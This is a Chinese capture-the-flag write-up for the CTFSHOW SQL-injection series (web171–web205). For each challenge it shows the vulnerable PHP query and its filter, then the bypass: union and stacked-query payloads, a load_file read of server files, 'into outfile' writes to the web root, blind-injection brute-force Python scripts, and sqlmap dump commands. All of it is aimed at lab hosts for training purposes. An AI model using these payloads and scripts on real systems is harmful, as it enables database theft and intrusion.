[CTFSHOW][WEB入门] SQL注入

 web171

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

# 确定回显列数 

-1' union select NULL,NULL,NULL--+

 # 查询当前数据库中表

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

# 查询列名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='ctfshow_user'--+

# 查看表中内容

-1' union select id,username,password from ctfshow_user--+

web172

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

 # 确定回显列数 

-1' union select NULL,NULL--+

# 查询当前数据库中表

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

 # 查询列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='ctfshow_user2'--+

 # 查看表中内容

不返回username列就行了。

-1' union select id,password from ctfshow_user2--+

web173

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

 使用to_base64() 或者hex()绕过检查

-1' union select id,to_base64(username),hex(password) from ctfshow_user3--+

可以使用burpsuite中自带的decoder解码。

web174

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

 使用REPLACE()将数字替换为字符串,将关键字替换掉。

-1' union select REPLACE(username,'g','a'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 --+

写个脚本替换一下

import sys
str = sys.argv[1]
print(str.replace("numa",'0')
	     .replace("numb",'1')
	     .replace("numc",'2')
	     .replace("numd",'3')
	     .replace("nume",'4')
	     .replace("numf",'5')
	     .replace("numg",'6')
	     .replace("numh",'7')
	     .replace("numi",'8')
	     .replace("numj",'9'))

web175

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

增加过滤

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

将读取文件写入web目录

-1' union select username , password from ctfshow_user5 into outfile '/var/www/html/test.txt' --+

[CTFSHOW][WEB入门] SQL注入_第1张图片

web176

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

现在是过滤输入了

function waf($str){
    return str_replace('select', 'ctfshow', $str);
}

大小写绕过即可

-1' union sElect id,username,password from ctfshow_user--+

web177

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤输入

function waf($str){
    return preg_match('/ /', $str);
}

使用注释符/**/绕过

-1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user%23

web178

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤输入

function waf($str){
    return preg_match('/ |\*/', $str);
}

使用%09绕过 

-1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username="flag"%23

web179

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤输入

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\0x0c|\x00|\x0d|\xa0/', $str);
}

没有过滤掉%0c 

-1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

web180-web182

参数类型 字符型
SQL语句 SELECT
注入方式 回显注入

过滤得比较严了,%23也过滤掉了,采用另一种方式绕过。

参考Y4tacker师傅的方法

'or(id=26)and'1'='1

web183

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

 查询语句

  $sql = "select count(pass) from ".$_POST['tableName'].";";

 过滤输入

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

返回结果

//返回用户表的记录总数
      $user_count = 0;

 使用脚本

import requests

url="http://fa2d813a-9938-4fd4-8d88-926941ffec88.challenge.ctf.show:8080/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':f"(ctfshow_user)where(pass)like'{flag+j}%'"
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web184

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

过滤输入

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

过滤了where ' " ,但是没有过滤空格。

使用联合查询中的on来绕过where的过滤,使用16进制绕过引号的过滤。

import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url="http://791371f6-4c12-42dd-b11f-295274d7fa36.challenge.ctf.show:8080/select-waf.php"

flag="ctf"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':f"ctfshow_user a inner join ctfshow_user b on b.pass like 0x{str_to_hex(flag+j+'%')}"
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 22" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web185

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

过滤输入

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

 过滤了所有数字,使用true来表示数字。

import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num

def createStrNum(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url="http://5fabda27-1f4c-4024-bf04-23f72166277e.challenge.ctf.show:8080/select-waf.php"

flag="ctf"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':f"ctfshow_user a inner join ctfshow_user b on b.pass like concat({createStrNum(flag+j+'%')})"
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 0" not in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web186

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

过滤输入

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

 增加过滤了< > % ^

同样使用上题脚本。

web187

参数类型 字符型
SQL语句 SELECT
注入方式 万能密码

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

后端处理

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

username必须设置为admin,可控的只有password,需要绕过md5函数。
md5()https://www.php.net/manual/zh/function.md5https://www.php.net/manual/zh/function.md5

 利用特殊字符串ffifdyop构造万能密码。

[CTFSHOW][WEB入门] SQL注入_第2张图片

web188

参数类型 数字型
SQL语句 SELECT
注入方式 万能密码

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

 后端处理

//用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

 Mysql中username为string类型,与数字比较时会转换类型为数字0。

PHP中也同样有类型转换。

username=0&password=0

[CTFSHOW][WEB入门] SQL注入_第3张图片

web189

参数类型 数字型
SQL语句 SELECT
注入方式 布尔盲注

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

后端处理

 //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

 根据提示flag在api/index.php文件中

使用脚本

按照之前文件格式,从266位开始。

import requests

url="http://bfe6ca93-36a7-467c-85cd-7c56600e40f6.challenge.ctf.show:8080/api/"

flag=""
for i in range(266,1000):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}<>?":
        data={
            'username':f"if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{j}','admin','test')", //(1)登陆失败 (2)查询失败
            'password':"0"
        }
        r=requests.post(url=url,data=data).text
        if "\\u5bc6" in r: //‘登陆失败’的utf编码
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web190

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

后端处理

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

使用脚本,copy一份

# @Author:Y4tacker
import requests

url = "http://ff5553e5-08ad-4d20-9bb3-04ad7f761bd8.challenge.ctf.show:8080/api/"

result = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
            'password': '1'
        }

        r = requests.post(url,data=data)
        if "密码错误"  == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


web191

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

后端处理

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

 ascii()函数被禁用,使用ord()函数即可。继续使用上题脚本。

web192

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

后端处理

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

继续ban函数。。。

直接使用字符进行比较。

# @Author:fallingskies
import requests

url = "http://ea742c3d-20f1-48e8-a6ea-ae67029fc374.challenge.ctf.show/api/"

result =  ""

character = "{abcdefghijklmnopqrstuvwxyz0123456789-_}"

for i in range(1,50):
    for c in character:
        
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(substr(({payload}),{i},1)='{c}',1,2)='1",
            'password': '1'
        }
        r = requests.post(url,data=data)
        if "密码错误"  == r.json()['msg']:
            result += c;
            print("[+]"+result)
        else:
            continue

web193

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

后端处理

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

过滤掉了substr()函数,改用mid()函数即可。

[CTFSHOW][WEB入门] SQL注入_第4张图片

web194

参数类型 字符型
SQL语句 SELECT
注入方式 布尔盲注

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

后端处理

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

还是没有过滤mid()函数,继续使用上题脚本。

web195

参数类型 数字型
SQL语句 SELECT
注入方式 堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

传入字符是数字型,需要转成16进制。使用堆叠注入更新表中pass。 

 [CTFSHOW][WEB入门] SQL注入_第5张图片

web196

参数类型 数字型
SQL语句 SELECT
注入方式 堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 题目有问题,select还是能用。。。。

[CTFSHOW][WEB入门] SQL注入_第6张图片

web197

参数类型 数字型
SQL语句 SELECT
注入方式 堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 使用show命令返回表名。

[CTFSHOW][WEB入门] SQL注入_第7张图片

web198

参数类型 数字型
SQL语句 SELECT
注入方式 堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

可使用上题解法,另一种解法:

使用alter修改字段名,使password和id列名互换,这样,只需要爆出admin账号的id即可。(设置一个中间变量,防止列名相同产生冲突) 

username=1;alter table ctfshow_user change `id` `fs` varchar(50);alter table ctfshow_user change `pass` `id` varchar(50);alter table ctfshow_user change `fs` `pass` varchar(50);

&password=123

[CTFSHOW][WEB入门] SQL注入_第8张图片

admin转16进制:0x61646d696e

[CTFSHOW][WEB入门] SQL注入_第9张图片

web199

参数类型 数字型
SQL语句 SELECT
注入方式 堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 多过滤了一个括号(

使用web197的方法。

web200

参数类型 数字型
SQL语句 SELECT
注入方式 堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 多过滤了一个逗号,

继续使用web197的方法。

web201

开始考察sqlmap的使用

使用--referer参数修改header头中referer参数。

使用--batch参数自动选择默认值。

python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch

[CTFSHOW][WEB入门] SQL注入_第10张图片

设置代理,查看sqlmap流量

--proxy

python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch --proxy="http://127.0.0.1:8080"

[CTFSHOW][WEB入门] SQL注入_第11张图片

 sqlmap自带的user-agent头。

可以使用--user-agent来修改。这里使用默认即可。

接下来就是固定步骤了。

1. 查看数据库

python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch --dbs

[CTFSHOW][WEB入门] SQL注入_第12张图片

 2. 查看表

python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch -D ctfshow_web --tables

[CTFSHOW][WEB入门] SQL注入_第13张图片

 3. 查看列名

python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch -D ctfshow_web -T ctfshow_user --columns

[CTFSHOW][WEB入门] SQL注入_第14张图片

4. 查看字段

python3 sqlmap.py -u "http://705ce223-698c-4bc1-9792-e7d9cf5f51c2.challenge.ctf.show/api/?id=1" --referer="ctf.show" --batch -D ctfshow_web -T ctfshow_user -C pass --dump

[CTFSHOW][WEB入门] SQL注入_第15张图片

5. 获得flag

web202

使用--date参数,使用post形式传递参数。

python3 sqlmap.py -u "http://b0992528-4cd8-4ed4-8489-b185eefb09ee.challenge.ctf.show/api/" --data="id=1" --batch --referer="ctf.show"

web203

提示用--method参数改变请求方式。

python3 sqlmap.py -u "http://0127ff06-6352-4a51-8d67-9096b8824c44.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT"  --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

 使用PUT方法时,sqlmap默认使用Content-Type: application/x-www-form-urlencoded; charset=utf-8

 如下:

[CTFSHOW][WEB入门] SQL注入_第16张图片

所以需要手动设置修改content-type

python3 sqlmap.py -u "http://0127ff06-6352-4a51-8d67-9096b8824c44.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT"  --headers="Content-Type: text/plain" --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web204

使用--cookie参数,设置传递的cookie。

python3 sqlmap.py -u "http://a4105b49-7fbc-48f0-819b-501cf37a6984.challenge.ctf.show/api/index.php"  --data="id=1" --method="PUT" --headers="Content-Type: text/plain" --batch --referer="ctf.show" --cookie="PHPSESSID=eqigceibc2q1ucp0jqaiivmck9; ctfshow=9399b2f23dd1cf7598d818c6c9f54943" -D ctfshow_web -T ctfshow_user --dump

web205

每次查询前需要访问token.php

[CTFSHOW][WEB入门] SQL注入_第17张图片

 使用sqlmap自带参数设置

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数
python3 sqlmap.py -u "http://c2f2a975-2b3a-4ba4-a1b7-7484d82518e1.challenge.ctf.show/api/index.php" --data="id=1" --method="put" --headers="Content-Type: text/plain" --referer="ctf.show" --batch --safe-url="http://c2f2a975-2b3a-4ba4-a1b7-7484d82518e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --dump

你可能感兴趣的:(web安全,sql,数据库)